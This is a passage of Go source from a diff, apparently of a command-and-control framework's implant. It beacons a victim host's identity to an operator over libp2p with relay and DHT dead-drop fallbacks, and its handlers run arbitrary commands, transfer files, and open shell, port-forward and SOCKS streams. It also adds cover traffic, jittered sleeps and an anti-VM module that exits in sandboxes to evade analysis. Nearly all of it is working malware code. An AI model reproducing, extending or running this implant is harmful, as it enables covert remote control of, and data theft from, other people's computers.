return nil, fmt.Errorf("load implant key: %w", err)
}
nodeCfg := transport.NodeConfig{
ListenAddr: "/ip4/0.0.0.0/tcp/0/ws",
BootstrapPeers: transport.DefaultBootstrapAddrs(),
EnableRelay: true,
EnableRelayService: true,
EnableMDNS: false,
EnableDHT: true,
RelayAddrs: cfg.RelayAddrs,
PrivateKey: keys.PrivateKey,
}
node, err := transport.NewNode(ctx, nodeCfg,
libp2p.NoTransports,
libp2p.Transport(ws.New),
libp2p.Transport(tcp.NewTCPTransport),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create node: %w", err)
}
boxPub := loadOperatorBoxPubKey()
authToken := loadAuthToken()
implantBoxKeys, err := cryptography.GenerateBoxKey()
if err != nil {
cancel()
node.Close()
return nil, fmt.Errorf("generate implant box key: %w", err)
}
a := &Agent{
keys: keys,
operatorPub: operatorPub,
boxPubKey: boxPub,
authToken: authToken,
node: node,
config: cfg,
ctx: ctx,
cancel: cancel,
relayPeers: make(map[peer.ID]*relayPeerInfo),
implantBoxKeys: implantBoxKeys,
}
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
a.messenger.SetAuthToken(authToken)
a.messenger.SetHandler(a.handleCommand)
return a, nil
}
func (a *Agent) Start() error {
log.Printf("[implant] PeerID: %s", a.node.ID().String())
log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())
if a.config.OperatorAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
if err != nil {
return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
return fmt.Errorf("parse operator peer info: %w", err)
}
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
return fmt.Errorf("connect to operator: %w", err)
}
log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
}
if a.config.WSSAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
if err == nil {
pi, err := peer.AddrInfoFromP2pAddr(m)
if err == nil {
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
log.Printf("[implant] WSS fallback connect: %v", err)
} else {
log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
}
}
}
}
log.Printf("[implant] starting discovery...")
if err := a.node.StartDiscovery(); err != nil {
return fmt.Errorf("discovery: %w", err)
}
log.Printf("[implant] subscribing to commands...")
if err := a.messenger.ListenCommands(a.ctx); err != nil {
return fmt.Errorf("listen commands: %w", err)
}
if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
return fmt.Errorf("listen task: %w", err)
}
a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)
ns := a.messenger.RendezvousString()
if a.node.DHT != nil {
a.wg.Add(1)
go a.discoverOperatorLoop(ns)
}
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)
a.wg.Add(1)
go a.beaconLoop()
if a.config.CoverTraffic {
a.wg.Add(1)
go a.coverTrafficLoop()
}
a.wg.Add(1)
go a.streamKeepaliveLoop()
if a.node.DHT != nil {
relayNS := a.relayRendezvous()
a.wg.Add(1)
go a.advertiseRelayLoop(relayNS)
a.wg.Add(1)
go a.discoverRelaysLoop(relayNS)
a.wg.Add(1)
go a.pollDHTCmdLoop()
}
return nil
}
func (a *Agent) discoverOperatorLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
}
}()
log.Printf("[implant] DHT discovery started for: %s", ns)
for {
if a.node.DHT != nil {
rt := a.node.DHT.RoutingTable()
if rt != nil && rt.Size() >= 5 {
break
}
}
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(2 * time.Second)
}
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
}
}()
peerCh, err := a.node.FindPeers(a.ctx, ns)
if err != nil {
log.Printf("[implant] DHT find peers: %v", err)
return
}
for pi := range peerCh {
if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
continue
}
if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
continue
}
a.connectedMu.Lock()
if !a.connected {
a.connected = true
a.connectedMu.Unlock()
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
} else {
a.beaconMu.Lock()
streamNil := a.beaconStream == nil
a.beaconMu.Unlock()
a.connectedMu.Unlock()
if streamNil {
log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
}
}
}
a.connectedMu.Lock()
cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
if a.connected && cs != network.Connected && cs != network.Limited {
a.connected = false
}
a.connectedMu.Unlock()
}()
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(15 * time.Second)
}
}
func cryptoJitter(max time.Duration) time.Duration {
if max <= 0 {
return 0
}
var buf [8]byte
rand.Read(buf[:])
n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
return time.Duration(n % int64(max))
}
func (a *Agent) beaconLoop() {
defer a.wg.Done()
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendBeaconRegister()
}()
jitter := cryptoJitter(a.config.BeaconJitter)
sleep := a.config.BeaconInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
}
}
func (a *Agent) streamKeepaliveLoop() {
defer a.wg.Done()
for {
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(5 * time.Second)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
}
}()
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if !connected {
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
if err := a.sendEnvelopeDirect(opID, env); err != nil {
}
}()
}
}
func (a *Agent) coverTrafficLoop() {
defer a.wg.Done()
for {
jitter := cryptoJitter(a.config.CoverJitter)
sleep := a.config.CoverInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendCoverTraffic()
}()
}
}
func (a *Agent) sendCoverTraffic() {
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] cover traffic: %v", err)
}
}
func (a *Agent) buildRegisterPayload() ([]byte, error) {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME")
}
if u, err := user.Current(); err == nil && u.Name != "" {
username = u.Name
} else if err == nil && u.Username != "" {
username = u.Username
}
uid, gid := "", ""
if runtime.GOOS != "windows" {
uid = fmt.Sprintf("%d", os.Getuid())
gid = fmt.Sprintf("%d", os.Getgid())
}
reg := &apb.Register{
Name: username,
Hostname: hostname,
UUID: a.node.ID().String(),
Username: username,
UID: uid,
GID: gid,
OS: runtime.GOOS,
Arch: runtime.GOARCH,
PID: int32(os.Getpid()),
Filename: os.Args[0],
Version: "0.1.0",
Locale: os.Getenv("LANG"),
ActiveC2: a.messenger.OperatorID().String(),
BoxPubKey: a.boxPubKey[:],
}
beaconReg := &apb.Z1{
ID: a.node.ID().String(),
Interval: int64(a.config.BeaconInterval.Seconds()),
Jitter: int64(a.config.BeaconJitter.Seconds()),
Register: reg,
}
data, err := proto.Marshal(beaconReg)
if err != nil {
return nil, err
}
return data, nil
}
func (a *Agent) sendBeaconRegister() {
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] marshal beacon register: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if connected {
if err := a.sendEnvelopeDirect(opID, env); err == nil {
log.Printf("[implant] sent beacon register to %s", opID.String())
return
}
}
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] send register: %v", err)
}
}
func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in sendBeaconDirect: %v", r)
}
}()
log.Printf("[implant] sending direct beacon to %s", operatorID.String())
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] direct beacon marshal: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
log.Printf("[implant] direct beacon send: %v", err)
a.connectedMu.Lock()
a.connected = false
a.connectedMu.Unlock()
return
}
log.Printf("[implant] sent direct beacon to %s", operatorID.String())
}
func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
log.Printf("[implant] dropped command — %v", err)
return
}
if !bytes.Equal(env.Token, a.authToken) {
log.Printf("[implant] dropped command — auth token mismatch")
return
}
if a.messenger.IsReplay(env.ID) {
log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
return
}
log.Printf("[implant] received command type=%d", env.Type)
if a.implantBoxKeys != nil && len(env.Data) > 0 {
decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
if err == nil {
env.Data = decrypted
log.Printf("[implant] decrypted command type=%d", env.Type)
}
}
if a.deadManTimer != nil {
a.deadManTimer.Reset(a.deadManTimeout)
}
switch env.Type {
case transport.MsgTypePs:
a.handlePs(env)
case transport.MsgTypeDownload:
a.handleDownload(env)
case transport.MsgTypeUpload:
a.handleUpload(env)
case transport.MsgTypeScreenshot:
a.handleScreenshot(env)
case transport.MsgTypeLs:
a.handleLs(env)
case transport.MsgTypeCd:
a.handleCd(env)
case transport.MsgTypePwd:
a.handlePwd(env)
case transport.MsgTypeExecute:
a.handleExecute(env)
case transport.MsgTypeKill:
a.handleKill(env)
case transport.MsgTypeDeadMan:
a.handleDeadMan(env)
default:
log.Printf("[implant] unknown cmd type=%d", env.Type)
}
}
func (a *Agent) handleCommandStream(s network.Stream) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
}
}()
defer s.Close()
remotePeer := s.Conn().RemotePeer()
log.Printf("[implant] command stream from %s", remotePeer.String())
var msgLen uint32
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
log.Printf("[implant] command stream read len: %v", err)
return
}
if msgLen > 1<<20 {
return
}
data := make([]byte, msgLen)
if _, err := io.ReadFull(s, data); err != nil {
log.Printf("[implant] command stream read data: %v", err)
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(data, env); err != nil {
log.Printf("[implant] command stream unmarshal: %v", err)
return
}
a.handleCommand(a.ctx, env, nil)
}
func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "beacon stream")
s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
if err != nil {
return nil, fmt.Errorf("open stream: %w", err)
}
return s, nil
}
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
var data []byte
if a.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
data = encrypted
} else {
data = env.Data
}
wireEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: data,
Token: env.Token,
}
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
if err == nil {
wireEnv.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
sig, err := a.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
wireEnv.Signature = sig
s := a.getBeaconStream(operatorID)
if s == nil {
return fmt.Errorf("nil beacon stream")
}
envData, err := proto.Marshal(wireEnv)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
a.beaconWriteMu.Lock()
defer a.beaconWriteMu.Unlock()
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write len: %w", err)
}
if _, err := s.Write(envData); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write data: %w", err)
}
s.SetWriteDeadline(time.Time{})
return nil
}
func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
a.beaconMu.Lock()
s := a.beaconStream
if s != nil {
a.beaconMu.Unlock()
return s
}
a.beaconMu.Unlock()
cs := a.node.Host.Network().Connectedness(operatorID)
if cs == network.Connected || cs == network.Limited {
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "direct")
}
}
a.relayMu.RLock()
var candidates []peer.ID
for id, rp := range a.relayPeers {
if rp.connected {
candidates = append(candidates, id)
}
}
// prefer relays with fewer failures — cheapest signal available
sort.Slice(candidates, func(i, j int) bool {
return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
})
a.relayMu.RUnlock()
for _, relayID := range candidates {
circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
relayID.String(), operatorID.String())
m, err := multiaddr.NewMultiaddr(circuitAddr)
if err != nil {
continue
}
connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
cancel()
if err != nil {
log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
continue
}
log.Printf("[implant] connected to operator via relay %s", relayID.String())
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "relayed")
}
}
return nil
}
func (a *Agent) setBeaconStream(s network.Stream) {
a.beaconMu.Lock()
a.beaconStream = s
a.beaconMu.Unlock()
}
func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
a.beaconMu.Lock()
if a.beaconStream == nil {
a.beaconStream = s
} else {
s.Close()
s = a.beaconStream
}
a.beaconMu.Unlock()
log.Printf("[implant] persistent beacon stream opened (%s)", via)
return s
}
func (a *Agent) pollDHTCmdLoop() {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
opID := a.messenger.OperatorID()
for {
nonce := a.lastDHTNonce + 1
key := transport.CommandDHTKey(opID, nonce)
val, err := a.node.GetDHTValue(a.ctx, key)
if err != nil || len(val) == 0 {
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
env := &apb.Envelope{}
if err := proto.Unmarshal(val, env); err != nil {
log.Printf("[implant] dht dead-drop unmarshal: %v", err)
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
a.handleCommand(a.ctx, env, nil)
a.lastDHTNonce = nonce
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}
func (a *Agent) Close() error {
a.cancel()
a.wg.Wait()
return a.node.Close()
}
+317
View File
@@ -0,0 +1,317 @@
package core
import (
"encoding/json"
"errors"
"fmt"
"io"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"time"
"google.golang.org/protobuf/proto"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
"github.com/Yenn503/NecropolisC2/pkg/transport"
)
func (a *Agent) sendError(msgType uint32, errMsg string) {
errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
errData, _ := proto.Marshal(errResp)
a.sendResult(msgType, errData)
}
func (a *Agent) sendResult(resultType uint32, data []byte) {
env := a.messenger.CreateEnvelope(resultType, data)
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if connected {
if err := a.sendEnvelopeDirect(opID, env); err != nil {
log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
} else {
return
}
}
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] send result: %v", err)
}
}
func (a *Agent) handlePs(env *apb.Envelope) {
result := &apb.Z13{}
result.Processes = listProcesses()
data, _ := proto.Marshal(result)
log.Printf("[implant] ps result: %d processes", len(result.Processes))
a.sendResult(transport.MsgTypePs, data)
}
func (a *Agent) handleDownload(env *apb.Envelope) {
req := &apb.Z22{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z23{Path: req.Path}
fi, err := os.Stat(req.Path)
if err != nil {
result.Exists = false
respData, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeDownload, respData)
return
}
const maxDownloadSize = 100 << 20 // 100MB
if fi.Size() > maxDownloadSize {
result.Exists = true
result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
respData, _ := proto.Marshal(result)
log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
a.sendResult(transport.MsgTypeDownload, respData)
return
}
data, err := os.ReadFile(req.Path)
if err != nil {
result.Exists = false
} else {
result.Exists = true
result.Data = data
}
respData, _ := proto.Marshal(result)
log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
a.sendResult(transport.MsgTypeDownload, respData)
}
// whole file in one proto message works for the 100MB cap. For larger files,
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
func (a *Agent) handleUpload(env *apb.Envelope) {
req := &apb.Z24{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
return
}
const maxUploadSize = 100 << 20
if len(req.Data) > maxUploadSize {
log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
result := &apb.Z25{
Path: req.Path,
Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
}
respData, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeUpload, respData)
return
}
result := &apb.Z25{Path: req.Path}
perm := os.FileMode(0644)
if req.Overwrite {
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.BytesWritten = int32(len(req.Data))
}
} else {
if _, err := os.Stat(req.Path); err == nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.BytesWritten = int32(len(req.Data))
}
}
respData, _ := proto.Marshal(result)
log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
a.sendResult(transport.MsgTypeUpload, respData)
}
func (a *Agent) handleScreenshot(env *apb.Envelope) {
log.Printf("[implant] screenshot requested (not implemented on this platform)")
result := &apb.Z3{
Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
}
data, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeScreenshot, data)
}
func (a *Agent) handleCd(env *apb.Envelope) {
req := &apb.Z19{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z21{}
if err := os.Chdir(req.Path); err != nil {
result.Path = req.Path
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.Path, _ = os.Getwd()
}
data, _ := proto.Marshal(result)
log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
a.sendResult(transport.MsgTypeCd, data)
}
func (a *Agent) handlePwd(env *apb.Envelope) {
result := &apb.Z21{}
result.Path, _ = os.Getwd()
data, _ := proto.Marshal(result)
log.Printf("[implant] pwd: %s", result.Path)
a.sendResult(transport.MsgTypePwd, data)
}
func (a *Agent) handleKill(env *apb.Envelope) {
log.Printf("[implant] kill received, shutting down")
buf := make([]byte, 4096)
n := runtime.Stack(buf, false)
log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
a.sendResult(transport.MsgTypeKill, nil)
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
func (a *Agent) handleDeadMan(env *apb.Envelope) {
var msg struct {
Command string `json:"command"`
Timeout int `json:"timeout_seconds"`
}
if err := json.Unmarshal(env.Data, &msg); err != nil {
return
}
a.deadManCmd = msg.Command
a.deadManTimeout = time.Duration(msg.Timeout) * time.Second
if a.deadManTimer != nil {
a.deadManTimer.Stop()
}
if a.deadManCmd == "" || a.deadManTimeout <= 0 {
a.deadManTimer = nil
return
}
a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
} else {
cmd = exec.Command("sh", "-c", a.deadManCmd)
}
cmd.Run()
})
}
func (a *Agent) handleLs(env *apb.Envelope) {
req := &apb.Z16{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z17{Path: req.Path}
fi, err := os.Stat(req.Path)
if err != nil {
result.Exists = false
} else {
result.Exists = true
if fi.IsDir() {
entries, err := os.ReadDir(req.Path)
if err != nil {
result.Exists = false
} else {
for _, e := range entries {
info, _ := e.Info()
entry := &apb.Z18{
Name: e.Name(),
IsDir: e.IsDir(),
}
if e.Type()&os.ModeSymlink != 0 {
link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
entry.Link = link
}
if info != nil {
entry.Size = info.Size()
entry.ModTime = info.ModTime().Unix()
entry.Mode = info.Mode().String()
}
result.Files = append(result.Files, entry)
}
}
} else {
entry := &apb.Z18{
Name: fi.Name(),
IsDir: false,
Size: fi.Size(),
ModTime: fi.ModTime().Unix(),
Mode: fi.Mode().String(),
}
if fi.Mode()&os.ModeSymlink != 0 {
link, _ := os.Readlink(req.Path)
entry.Link = link
}
result.Files = append(result.Files, entry)
}
}
data, _ := proto.Marshal(result)
log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
a.sendResult(transport.MsgTypeLs, data)
}
func (a *Agent) handleExecute(env *apb.Envelope) {
req := &apb.Z14{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z15{}
if req.Output {
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
out, err := cmd.CombinedOutput()
if err != nil {
var exitErr *exec.ExitError
if errors.As(err, &exitErr) {
result.Status = uint32(exitErr.ExitCode())
} else {
result.Status = 1
}
result.Stderr = []byte(err.Error())
}
result.Stdout = out
} else {
cmd := exec.Command(req.Path, req.Args...)
cmd.Stdout = io.Discard
cmd.Stderr = io.Discard
if err := cmd.Start(); err != nil {
var exitErr *exec.ExitError
if errors.As(err, &exitErr) {
result.Status = uint32(exitErr.ExitCode())
} else {
result.Status = 1
}
result.Stderr = []byte(err.Error())
} else {
result.Pid = uint32(cmd.Process.Pid)
go cmd.Wait()
}
}
data, _ := proto.Marshal(result)
log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
a.sendResult(transport.MsgTypeExecute, data)
}
+127
View File
@@ -0,0 +1,127 @@
package core
import (
"context"
"log"
"time"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
)
type relayPeerInfo struct {
peerID peer.ID
connected bool
lastSeen time.Time
failCount int
}
func (a *Agent) relayRendezvous() string {
return a.node.RelayRendezvousString(a.messenger.OperatorID())
}
func (a *Agent) advertiseRelayLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
for {
if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
log.Printf("[implant] relay advertise: %v", err)
}
select {
case <-a.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
func (a *Agent) discoverRelaysLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
opID := a.messenger.OperatorID()
for {
peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
if err != nil {
log.Printf("[implant] find relay peers: %v", err)
goto sleep
}
for _, pi := range peers {
if pi.ID == a.node.ID() || pi.ID == opID {
continue
}
a.relayMu.RLock()
existing := a.relayPeers[pi.ID]
a.relayMu.RUnlock()
if existing != nil && existing.connected {
continue
}
connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
err := a.node.ConnectToPeer(connCtx, pi)
cancel()
now := time.Now()
if err != nil {
log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
a.relayMu.Lock()
if rp, ok := a.relayPeers[pi.ID]; ok {
rp.failCount++
rp.lastSeen = now
} else {
a.relayPeers[pi.ID] = &relayPeerInfo{
peerID: pi.ID,
connected: false,
lastSeen: now,
failCount: 1,
}
}
a.relayMu.Unlock()
continue
}
log.Printf("[implant] connected to relay peer %s", pi.ID.String())
a.relayMu.Lock()
a.relayPeers[pi.ID] = &relayPeerInfo{
peerID: pi.ID,
connected: true,
lastSeen: now,
}
a.relayMu.Unlock()
}
a.relayMu.Lock()
for id, rp := range a.relayPeers {
if rp.connected {
cs := a.node.Host.Network().Connectedness(id)
if cs != network.Connected && cs != network.Limited {
rp.connected = false
rp.failCount++
log.Printf("[implant] relay peer %s disconnected", id.String())
}
}
}
a.relayMu.Unlock()
sleep:
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}
+226
View File
@@ -0,0 +1,226 @@
//go:build antivm
package core
import (
"fmt"
"log"
"net"
"os"
"runtime"
"sort"
"strings"
)
type vmCheck struct {
name string
detect func() bool
certainty int
}
// allChecks populated by init() with platform-appropriate techniques
var allChecks []vmCheck
func init() {
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
registerCheck("bochs_cpu", bochsCPU, 100)
registerCheck("cpuid_signature", cpuidSignature, 95)
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
registerCheck("thread_mismatch", threadMismatch, 50)
registerCheck("thread_count", threadCount, 35)
registerCheck("container_env", containerEnv, 30)
registerCheck("dockerenv", dockerEnv, 30)
registerCheck("azure_hostname", azureHostname, 30)
registerCheck("mac_vmware", macVMware, 20)
registerCheck("mac_virtualbox", macVirtualBox, 20)
registerCheck("mac_qemu", macQEMU, 20)
registerCheck("mac_xen", macXen, 20)
}
const detectionThreshold = 50
func registerCheck(name string, fn func() bool, certainty int) {
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
}
func DetectVM() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] FATAL: %v", r)
}
}()
sort.Slice(allChecks, func(i, j int) bool {
return allChecks[i].certainty > allChecks[j].certainty
})
var score int
var hits []string
for _, c := range allChecks {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] panic in %s: %v", c.name, r)
}
}()
if c.detect() {
score += c.certainty
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
}
}()
}
if score > 100 {
score = 100
}
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
if score >= detectionThreshold {
log.Printf("[antivm] threshold met, exiting")
os.Exit(0)
}
log.Printf("[antivm] below threshold, continuing")
}
// Cross-platform checks
var vmwarePrefixes = []string{
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
"00:3c:7d", "00:0f:4b",
}
var vboxPrefixes = []string{"08:00:27"}
var qemuPrefixes = []string{"52:54:00"}
var xenPrefixes = []string{"00:16:3e"}
func macMatch(prefixes []string) bool {
ifaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range ifaces {
mac := iface.HardwareAddr.String()
for _, p := range prefixes {
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
return true
}
}
}
return false
}
func macVMware() bool { return macMatch(vmwarePrefixes) }
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
func macQEMU() bool { return macMatch(qemuPrefixes) }
func macXen() bool { return macMatch(xenPrefixes) }
func threadCount() bool {
return runtime.NumCPU() < 2
}
func threadMismatch() bool {
n := runtime.NumCPU()
// Most modern CPUs have >=4 threads
return n < 4
}
func containerEnv() bool {
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
if os.Getenv(e) != "" {
return true
}
}
return false
}
func dockerEnv() bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
return true
}
if _, err := os.Stat("/run/.containerenv"); err == nil {
return true
}
return false
}
func hypervisorCPU() bool {
if runtime.GOARCH != "amd64" {
return false
}
if runtime.GOOS == "linux" {
